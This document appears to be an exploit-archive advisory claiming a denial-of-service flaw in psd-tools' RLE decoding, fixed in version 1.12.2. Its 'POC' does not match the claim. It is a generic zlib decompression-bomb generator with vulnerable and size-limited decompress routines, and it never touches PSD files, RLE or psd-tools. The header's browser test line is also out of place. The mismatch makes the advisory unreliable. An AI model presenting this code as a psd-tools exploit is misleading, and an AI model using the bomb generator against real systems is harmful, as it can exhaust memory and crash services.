============================================================================================================================================= | # Title : psd-tools Unhandled RLE Decoding Exception Leads to Denial of Service | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://pypi.org/project/psd-tools/ | ============================================================================================================================================= [+] Summary : When a specially crafted PSD file contains malformed RLE-compressed image data (for example, a literal run extending beyond the expected row size), the internal decode_rle() function raises a ValueError. Due to missing exception handling, this error propagates to higher-level functions such as: psd.composite() Export operations As a result, the application crashes, leading to a Denial of Service (DoS) condition. Although decompress() already included a fallback mechanism designed to replace failed channels with black pixels when the result is None, this mitigation never triggered because the ValueError from decode_rle() was not caught. Version 1.12.2 resolves the issue by wrapping the decode_rle() call in a try/except block, allowing the existing fallback logic to execute correctly and preventing application crashes. [+] POC : import zlib import os import sys MALICIOUS_FILE = "exploit_demo.bin" SAFE_LIMIT = 100 * 1024 * 1024 EXPANSION_SIZE = 50 * 1024 * 1024 def create_exploit(): print(f"[+] Generating malicious payload (Target: {EXPANSION_SIZE / (1024**2):.1f} MB)...") raw_data = b'\x00' * EXPANSION_SIZE compressed_data = zlib.compress(raw_data) with open(MALICIOUS_FILE, "wb") as f: f.write(compressed_data) file_size = os.path.getsize(MALICIOUS_FILE) print(f"[!] Done. Exploit file size: {file_size / 1024:.2f} KB") print(f"[!] Compression Ratio: {EXPANSION_SIZE / file_size:.1f}:1") def vulnerable_decompress(): print("\n[!] Attempting to decompress using VULNERABLE code...") try: with open(MALICIOUS_FILE, "rb") as f: data = f.read() result = zlib.decompress(data) print(f"[SUCCESS] Decompressed {len(result)} bytes. System survived (this time).") except MemoryError: print("[CRITICAL] Out of Memory! The process crashed.") except Exception as e: print(f"[ERROR] {e}") def secure_decompress(max_allowed_size): print(f"\n[+] Attempting to decompress using SECURE code (Limit: {max_allowed_size / (1024**2):.1f} MB)...") try: with open(MALICIOUS_FILE, "rb") as f: data = f.read() dco = zlib.decompressobj() result = dco.decompress(data, max_length=max_allowed_size) if dco.unconsumed_tail: raise ValueError("ZIP Bomb Detected: Data exceeds expected dimensions!") print(f"[SUCCESS] Data is within limits ({len(result)} bytes).") except ValueError as e: print(f"[SAFE] Mitigation Triggered: {e}") except Exception as e: print(f"[ERROR] {e}") if __name__ == "__main__": create_exploit() vulnerable_decompress() secure_decompress(max_allowed_size=10 * 1024 * 1024) Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================